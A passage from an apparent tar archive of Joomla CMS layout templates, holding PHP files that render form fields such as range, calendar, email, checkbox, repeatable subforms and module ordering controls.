field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ // Initialize some field attributes. $attributes = [ $class ? 'class="form-range ' . $class . '"' : 'class="form-range"', !empty($description) ? 'aria-describedby="' . ($id ?: $name) . '-desc"' : '', $disabled ? 'disabled' : '', $readonly ? 'readonly' : '', !empty($onchange) ? 'onchange="' . $onchange . '"' : '', !empty($max) ? 'max="' . $max . '"' : '', !empty($step) ? 'step="' . $step . '"' : '', !empty($min) ? 'min="' . $min . '"' : '', $autofocus ? 'autofocus' : '', $dataAttribute, ]; $value = is_numeric($value) ? (float) $value : $min; ?> <input type="range" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" <?php echo implode(' ', $attributes); ?>> joomla/form/field/calendar.php 0000644 00000017157 15216442676 0012365 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\Utilities\ArrayHelper; extract($displayData); // Get some system objects. $document = Factory::getApplication()->getDocument(); $lang = Factory::getApplication()->getLanguage(); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. * * Calendar Specific * @var string $helperPath The relative path for the helper file * @var string $minYear The minimum year, that will be subtracted/added to current year * @var string $maxYear The maximum year, that will be subtracted/added to current year * @var integer $todaybutton The today button * @var integer $weeknumbers The week numbers display * @var integer $showtime The time selector display * @var integer $filltable The previous/next month filling * @var integer $timeformat The time format * @var integer $singleheader Display different header row for month/year * @var string $direction The document direction * @var string $calendar The calendar type * @var array $weekend The weekends days * @var integer $firstday The first day of the week * @var string $format The format of date and time */ $inputvalue = ''; // Build the attributes array. $attributes = []; empty($size) ? null : $attributes['size'] = $size; empty($maxlength) ? null : $attributes['maxlength'] = $maxLength; empty($class) ? $attributes['class'] = 'form-control' : $attributes['class'] = 'form-control ' . $class; !$readonly ? null : $attributes['readonly'] = 'readonly'; !$disabled ? null : $attributes['disabled'] = 'disabled'; empty($onchange) ? null : $attributes['onchange'] = $onchange; if ($required) { $attributes['required'] = ''; } // Handle the special case for "now". if (strtoupper($value) === 'NOW') { $value = Factory::getDate()->format('Y-m-d H:i:s'); } $readonly = isset($attributes['readonly']) && $attributes['readonly'] === 'readonly'; $disabled = isset($attributes['disabled']) && $attributes['disabled'] === 'disabled'; if (is_array($attributes)) { $attributes = ArrayHelper::toString($attributes); } $calendarAttrs = [ 'data-inputfield' => $id, 'data-button' => $id . '_btn', 'data-date-format' => $format, 'data-firstday' => empty($firstday) ? '' : $firstday, 'data-weekend' => empty($weekend) ? '' : implode(',', $weekend), 'data-today-btn' => $todaybutton, 'data-week-numbers' => $weeknumbers, 'data-show-time' => $showtime, 'data-show-others' => $filltable, 'data-time24' => $timeformat, 'data-only-months-nav' => $singleheader, 'data-min-year' => $minYear, 'data-max-year' => $maxYear, 'data-date-type' => strtolower($calendar), ]; $calendarAttrsStr = ArrayHelper::toString($calendarAttrs); // Add language strings $strings = [ // Days 'SUNDAY', 'MONDAY', 'TUESDAY', 'WEDNESDAY', 'THURSDAY', 'FRIDAY', 'SATURDAY', // Short days 'SUN', 'MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', // Months 'JANUARY', 'FEBRUARY', 'MARCH', 'APRIL', 'MAY', 'JUNE', 'JULY', 'AUGUST', 'SEPTEMBER', 'OCTOBER', 'NOVEMBER', 'DECEMBER', // Short months 'JANUARY_SHORT', 'FEBRUARY_SHORT', 'MARCH_SHORT', 'APRIL_SHORT', 'MAY_SHORT', 'JUNE_SHORT', 'JULY_SHORT', 'AUGUST_SHORT', 'SEPTEMBER_SHORT', 'OCTOBER_SHORT', 'NOVEMBER_SHORT', 'DECEMBER_SHORT', // Buttons 'JCLOSE', 'JCLEAR', 'JLIB_HTML_BEHAVIOR_TODAY', // Miscellaneous 'JLIB_HTML_BEHAVIOR_WK', ]; foreach ($strings as $c) { Text::script($c); } // These are new strings. Make sure they exist. Can be generalised at later time: eg in 4.1 version. if ($lang->hasKey('JLIB_HTML_BEHAVIOR_AM')) { Text::script('JLIB_HTML_BEHAVIOR_AM'); } if ($lang->hasKey('JLIB_HTML_BEHAVIOR_PM')) { Text::script('JLIB_HTML_BEHAVIOR_PM'); } // Redefine locale/helper assets to use correct path, and load calendar assets $document->getWebAssetManager() ->registerAndUseScript('field.calendar.helper', $helperPath, [], ['defer' => true]) ->useStyle('field.calendar' . ($direction === 'rtl' ? '-rtl' : '')) ->useScript('field.calendar'); ?> <div class="field-calendar"> <?php if (!$readonly && !$disabled) : ?> <div class="input-group"> <?php endif; ?> <input type="text" id="<?php echo $id; ?>" name="<?php echo $name; ?>" value="<?php echo htmlspecialchars(($value !== '0000-00-00 00:00:00') ? $value : '', ENT_COMPAT, 'UTF-8'); ?>" <?php echo !empty($description) ? ' aria-describedby="' . ($id ?: $name) . '-desc"' : ''; ?> <?php echo $attributes; ?> <?php echo $dataAttribute ?? ''; ?> <?php echo !empty($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : ''; ?> data-alt-value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" autocomplete="off"> <button type="button" class="<?php echo ($readonly || $disabled) ? 'hidden ' : ''; ?>btn btn-primary" id="<?php echo $id; ?>_btn" title="<?php echo Text::_('JLIB_HTML_BEHAVIOR_OPEN_CALENDAR'); ?>" <?php echo $calendarAttrsStr; ?> ><span class="icon-calendar" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('JLIB_HTML_BEHAVIOR_OPEN_CALENDAR'); ?></span> </button> <?php if (!$readonly && !$disabled) : ?> </div> <?php endif; ?> </div> joomla/form/field/email.php 0000644 00000006604 15216442676 0011676 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\String\PunycodeHelper; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ $attributes = [ 'type="email"', 'inputmode="email"', 'name="' . $name . '"', 'class="form-control validate-email' . (!empty($class) ? ' ' . $class : '') . '"', 'id="' . $id . '"', 'value="' . htmlspecialchars(PunycodeHelper::emailToUTF8($value), ENT_COMPAT, 'UTF-8') . '"', $spellcheck ? '' : 'spellcheck="false"', !empty($size) ? 'size="' . $size . '"' : '', !empty($description) ? 'aria-describedby="' . ($id ?: $name) . '-desc"' : '', $disabled ? 'disabled' : '', $readonly ? 'readonly' : '', $onchange ? 'onchange="' . $onchange . '"' : '', !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : '', $multiple ? 'multiple' : '', !empty($maxLength) ? 'maxlength="' . $maxLength . '"' : '', strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '', $required ? 'required' : '', $autofocus ? 'autofocus' : '', $dataAttribute, ]; echo '<input ' . implode(' ', array_values(array_filter($attributes))) . '>'; joomla/form/field/checkbox.php 0000644 00000006344 15216442676 0012376 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Form\Field\CheckboxField; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string|null $description Description of the field. * @var boolean $disabled Is this field disabled? * @var CheckboxField $field The form field object. * @var string|null $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var string $validationtext The validation text of invalid value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var boolean $checked Whether the checkbox should be checked. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ // Initialize some field attributes. $class = $class ? ' ' . $class : ''; $disabled = $disabled ? ' disabled' : ''; $required = $required ? ' required' : ''; $autofocus = $autofocus ? ' autofocus' : ''; $checked = $checked ? ' checked' : ''; // Initialize JavaScript field attributes. $onclick = $onclick ? ' onclick="' . $onclick . '"' : ''; $onchange = $onchange ? ' onchange="' . $onchange . '"' : ''; ?> <div class="form-check form-check-inline"> <input type="checkbox" name="<?php echo $name; ?>" id="<?php echo $id; ?>" class="form-check-input<?php echo $class; ?>" value="<?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?>" <?php echo $checked . $disabled . $onclick . $onchange . $required . $autofocus . $dataAttribute; ?> > </div> joomla/form/field/subform/repeatable-table/section-byfieldsets.php 0000644 00000004214 15216442676 0021427 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var Form $form The form instance for render the section * @var string $basegroup The base group name * @var string $group Current group name * @var array $buttons Array of the buttons that will be rendered */ ?> <tr class="subform-repeatable-group" data-base-name="<?php echo $basegroup; ?>" data-group="<?php echo $group; ?>"> <?php foreach ($form->getFieldsets() as $fieldset) : ?> <td class="<?php if (!empty($fieldset->class)) { echo $fieldset->class; } ?>"> <?php foreach ($form->getFieldset($fieldset->name) as $field) : ?> <?php echo $field->renderField(); ?> <?php endforeach; ?> </td> <?php endforeach; ?> <?php if (!empty($buttons)) : ?> <td> <div class="btn-group"> <?php if (!empty($buttons['add'])) : ?> <button type="button" class="group-add btn btn-sm btn-success" aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD'); ?>"> <span class="icon-plus" aria-hidden="true"></span> </button> <?php endif; ?> <?php if (!empty($buttons['remove'])) : ?> <button type="button" class="group-remove btn btn-sm btn-danger" aria-label="<?php echo Text::_('JGLOBAL_FIELD_REMOVE'); ?>"> <span class="icon-minus" aria-hidden="true"></span> </button> <?php endif; ?> <?php if (!empty($buttons['move'])) : ?> <button type="button" class="group-move btn btn-sm btn-primary" aria-label="<?php echo Text::_('JGLOBAL_FIELD_MOVE'); ?>"> <span class="icon-arrows-alt" aria-hidden="true"></span> </button> <?php endif; ?> </div> </td> <?php endif; ?> </tr> joomla/form/field/subform/repeatable-table/section.php 0000644 00000004061 15216442676 0017114 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var Form $form The form instance for render the section * @var string $basegroup The base group name * @var string $group Current group name * @var array $buttons Array of the buttons that will be rendered */ ?> <tr class="subform-repeatable-group" data-base-name="<?php echo $basegroup; ?>" data-group="<?php echo $group; ?>"> <?php foreach ($form->getGroup('') as $field) : ?> <td data-column="<?php echo strip_tags($field->label); ?>"> <?php echo $field->renderField(['hiddenLabel' => true, 'hiddenDescription' => true]); ?> </td> <?php endforeach; ?> <?php if (!empty($buttons)) : ?> <td> <div class="btn-group"> <?php if (!empty($buttons['add'])) : ?> <button type="button" class="group-add btn btn-sm btn-success" aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD'); ?>"> <span class="icon-plus" aria-hidden="true"></span> </button> <?php endif; ?> <?php if (!empty($buttons['remove'])) : ?> <button type="button" class="group-remove btn btn-sm btn-danger" aria-label="<?php echo Text::_('JGLOBAL_FIELD_REMOVE'); ?>"> <span class="icon-minus" aria-hidden="true"></span> </button> <?php endif; ?> <?php if (!empty($buttons['move'])) : ?> <button type="button" class="group-move btn btn-sm btn-primary" aria-label="<?php echo Text::_('JGLOBAL_FIELD_MOVE'); ?>"> <span class="icon-arrows-alt" aria-hidden="true"></span> </button> <?php endif; ?> </div> </td> <?php endif; ?> </tr> joomla/form/field/subform/repeatable-table.php 0000644 00000012012 15216442676 0015443 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var Form $tmpl The Empty form for template * @var array $forms Array of JForm instances for render the rows * @var bool $multiple The multiple state for the form field * @var int $min Count of minimum repeating in multiple mode * @var int $max Count of maximum repeating in multiple mode * @var string $name Name of the input field. * @var string $fieldname The field name * @var string $fieldId The field ID * @var string $control The forms control * @var string $label The field label * @var string $description The field description * @var string $class Classes for the container * @var array $buttons Array of the buttons that will be rendered * @var bool $groupByFieldset Whether group the subform fields by it`s fieldset */ if ($multiple) { // Add script Factory::getApplication() ->getDocument() ->getWebAssetManager() ->useScript('webcomponent.field-subform'); } $class = $class ? ' ' . $class : ''; // Build heading $table_head = ''; if (!empty($groupByFieldset)) { foreach ($tmpl->getFieldsets() as $k => $fieldset) { $table_head .= '<th scope="col">' . Text::_($fieldset->label); if ($fieldset->description) { $table_head .= '<span class="icon-info-circle" aria-hidden="true" tabindex="0"></span><div role="tooltip" id="tip-th-' . $fieldId . '-' . $k . '">' . Text::_($fieldset->description) . '</div>'; } $table_head .= '</th>'; } $sublayout = 'section-byfieldsets'; } else { foreach ($tmpl->getGroup('') as $field) { $table_head .= '<th scope="col" style="width:45%">' . strip_tags($field->label); if ($field->description) { $table_head .= '<span class="icon-info-circle" aria-hidden="true" tabindex="0"></span><div role="tooltip" id="tip-' . $field->id . '">' . Text::_($field->description) . '</div>'; } $table_head .= '</th>'; } $sublayout = 'section'; // Label will not be shown for sections layout, so reset the margin left Factory::getApplication() ->getDocument() ->addStyleDeclaration('.subform-table-sublayout-section .controls { margin-left: 0px }'); } ?> <div class="subform-repeatable-wrapper subform-table-layout subform-table-sublayout-<?php echo $sublayout; ?>"> <joomla-field-subform class="subform-repeatable<?php echo $class; ?>" name="<?php echo $name; ?>" button-add=".group-add" button-remove=".group-remove" button-move="<?php echo empty($buttons['move']) ? '' : '.group-move' ?>" repeatable-element=".subform-repeatable-group" rows-container="tbody.subform-repeatable-container" minimum="<?php echo $min; ?>" maximum="<?php echo $max; ?>"> <div class="table-responsive"> <table class="table" id="subfieldList_<?php echo $fieldId; ?>"> <caption class="visually-hidden"> <?php echo Text::_('JGLOBAL_REPEATABLE_FIELDS_TABLE_CAPTION'); ?> </caption> <thead> <tr> <?php echo $table_head; ?> <?php if (!empty($buttons)) : ?> <td style="width:8%;"> <?php if (!empty($buttons['add'])) : ?> <div class="btn-group"> <button type="button" class="group-add btn btn-sm btn-success" aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD'); ?>"> <span class="icon-plus" aria-hidden="true"></span> </button> </div> <?php endif; ?> </td> <?php endif; ?> </tr> </thead> <tbody class="subform-repeatable-container"> <?php foreach ($forms as $k => $form) : echo $this->sublayout($sublayout, ['form' => $form, 'basegroup' => $fieldname, 'group' => $fieldname . $k, 'buttons' => $buttons]); endforeach; ?> </tbody> </table> </div> <?php if ($multiple) : ?> <template class="subform-repeatable-template-section hidden"> <?php echo trim($this->sublayout($sublayout, ['form' => $tmpl, 'basegroup' => $fieldname, 'group' => $fieldname . 'X', 'buttons' => $buttons])); ?> </template> <?php endif; ?> </joomla-field-subform> </div> joomla/form/field/subform/default.php 0000644 00000002562 15216442676 0013707 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Form\Form; extract($displayData); /** * Layout variables * ----------------- * @var Form $tmpl The Empty form for template * @var array $forms Array of JForm instances for render the rows * @var bool $multiple The multiple state for the form field * @var int $min Count of minimum repeating in multiple mode * @var int $max Count of maximum repeating in multiple mode * @var string $name Name of the input field. * @var string $fieldname The field name * @var string $fieldId The field ID * @var string $control The forms control * @var string $label The field label * @var string $description The field description * @var array $buttons Array of the buttons that will be rendered * @var bool $groupByFieldset Whether group the subform fields by it`s fieldset */ $form = $forms[0]; ?> <div class="subform-wrapper"> <?php foreach ($form->getGroup('') as $field) : ?> <?php echo $field->renderField(); ?> <?php endforeach; ?> </div> joomla/form/field/subform/repeatable.php 0000644 00000005664 15216442676 0014375 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var Form $tmpl The Empty form for template * @var array $forms Array of JForm instances for render the rows * @var bool $multiple The multiple state for the form field * @var int $min Count of minimum repeating in multiple mode * @var int $max Count of maximum repeating in multiple mode * @var string $name Name of the input field. * @var string $fieldname The field name * @var string $fieldId The field ID * @var string $control The forms control * @var string $label The field label * @var string $description The field description * @var string $class Classes for the container * @var array $buttons Array of the buttons that will be rendered * @var bool $groupByFieldset Whether group the subform fields by it`s fieldset */ if ($multiple) { // Add script Factory::getApplication() ->getDocument() ->getWebAssetManager() ->useScript('webcomponent.field-subform'); } $class = $class ? ' ' . $class : ''; $sublayout = empty($groupByFieldset) ? 'section' : 'section-byfieldsets'; ?> <div class="subform-repeatable-wrapper subform-layout"> <joomla-field-subform class="subform-repeatable<?php echo $class; ?>" name="<?php echo $name; ?>" button-add=".group-add" button-remove=".group-remove" button-move="<?php echo empty($buttons['move']) ? '' : '.group-move' ?>" repeatable-element=".subform-repeatable-group" minimum="<?php echo $min; ?>" maximum="<?php echo $max; ?>"> <?php if (!empty($buttons['add'])) : ?> <div class="btn-toolbar"> <div class="btn-group"> <button type="button" class="group-add btn btn-sm button btn-success" aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD'); ?>"> <span class="icon-plus icon-white" aria-hidden="true"></span> </button> </div> </div> <?php endif; ?> <?php foreach ($forms as $k => $form) : echo $this->sublayout($sublayout, ['form' => $form, 'basegroup' => $fieldname, 'group' => $fieldname . $k, 'buttons' => $buttons]); endforeach; ?> <?php if ($multiple) : ?> <template class="subform-repeatable-template-section hidden"><?php echo trim($this->sublayout($sublayout, ['form' => $tmpl, 'basegroup' => $fieldname, 'group' => $fieldname . 'X', 'buttons' => $buttons])); ?></template> <?php endif; ?> </joomla-field-subform> </div> joomla/form/field/subform/repeatable/section-byfieldsets.php 0000644 00000004513 15216442676 0020344 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var Form $form The form instance for render the section * @var string $basegroup The base group name * @var string $group Current group name * @var array $buttons Array of the buttons that will be rendered */ ?> <div class="subform-repeatable-group" data-base-name="<?php echo $basegroup; ?>" data-group="<?php echo $group; ?>"> <?php if (!empty($buttons)) : ?> <div class="btn-toolbar text-end"> <div class="btn-group"> <?php if (!empty($buttons['add'])) : ?><button type="button" class="group-add btn btn-sm btn-success" aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD'); ?>"><span class="icon-plus icon-white" aria-hidden="true"></span> </button><?php endif; ?> <?php if (!empty($buttons['remove'])) : ?><button type="button" class="group-remove btn btn-sm btn-danger" aria-label="<?php echo Text::_('JGLOBAL_FIELD_REMOVE'); ?>"><span class="icon-minus icon-white" aria-hidden="true"></span> </button><?php endif; ?> <?php if (!empty($buttons['move'])) : ?><button type="button" class="group-move btn btn-sm btn-primary" aria-label="<?php echo Text::_('JGLOBAL_FIELD_MOVE'); ?>"><span class="icon-arrows-alt icon-white" aria-hidden="true"></span> </button><?php endif; ?> </div> </div> <?php endif; ?> <div class="row"> <?php foreach ($form->getFieldsets() as $fieldset) : ?> <fieldset class="<?php if (!empty($fieldset->class)) { echo $fieldset->class; } ?>"> <?php if (!empty($fieldset->label)) : ?> <legend><?php echo Text::_($fieldset->label); ?></legend> <?php endif; ?> <?php foreach ($form->getFieldset($fieldset->name) as $field) : ?> <?php echo $field->renderField(); ?> <?php endforeach; ?> </fieldset> <?php endforeach; ?> </div> </div> joomla/form/field/subform/repeatable/section.php 0000644 00000003551 15216442676 0016032 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var Form $form The form instance for render the section * @var string $basegroup The base group name * @var string $group Current group name * @var array $buttons Array of the buttons that will be rendered */ ?> <div class="subform-repeatable-group" data-base-name="<?php echo $basegroup; ?>" data-group="<?php echo $group; ?>"> <?php if (!empty($buttons)) : ?> <div class="btn-toolbar text-end"> <div class="btn-group"> <?php if (!empty($buttons['add'])) : ?><button type="button" class="group-add btn btn-sm btn-success" aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD'); ?>"><span class="icon-plus icon-white" aria-hidden="true"></span> </button><?php endif; ?> <?php if (!empty($buttons['remove'])) : ?><button type="button" class="group-remove btn btn-sm btn-danger" aria-label="<?php echo Text::_('JGLOBAL_FIELD_REMOVE'); ?>"><span class="icon-minus icon-white" aria-hidden="true"></span> </button><?php endif; ?> <?php if (!empty($buttons['move'])) : ?><button type="button" class="group-move btn btn-sm btn-primary" aria-label="<?php echo Text::_('JGLOBAL_FIELD_MOVE'); ?>"><span class="icon-arrows-alt icon-white" aria-hidden="true"></span> </button><?php endif; ?> </div> </div> <?php endif; ?> <?php foreach ($form->getGroup('') as $field) : ?> <?php echo $field->renderField(); ?> <?php endforeach; ?> </div> joomla/form/field/moduleorder.php 0000644 00000007001 15216442676 0013120 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ // Initialize some field attributes. $attributes['dataid'] = 'data-id="' . $id . '"'; $attributes['data-url'] = 'data-url="index.php?option=com_modules&task=module.orderPosition&' . $token . '"'; $attributes['data-element'] = 'data-element="parent_' . $id . '"'; $attributes['data-ordering'] = 'data-ordering="' . $ordering . '"'; $attributes['data-position-element'] = 'data-position-element="' . $element . '"'; $attributes['data-client-id'] = 'data-client-id="' . $clientId . '"'; $attributes['data-name'] = 'data-name="' . $name . '"'; $attributes['data-module-id'] = 'data-module-id="' . $moduleId . '"'; if ($disabled) { $attributes['disabled'] = 'disabled'; } if ($class) { $attributes['class'] = 'class="' . $class . '"'; } if ($size) { $attributes['size'] = 'size="' . $size . '"'; } if ($onchange) { $attributes['onchange'] = 'onchange="' . $onchange . '"'; } if ($dataAttribute) { $attributes['dataAttribute'] = $dataAttribute; } Factory::getDocument()->getWebAssetManager() ->useScript('webcomponent.field-module-order'); ?> <joomla-field-module-order <?php echo implode(' ', $attributes); ?>></joomla-field-module-order> joomla/form/field/contenthistory.php 0000644 00000006162 15216442676 0013702 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var string $link The link for the content history page * @var string $label The label text * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ echo HTMLHelper::_( 'bootstrap.renderModal', 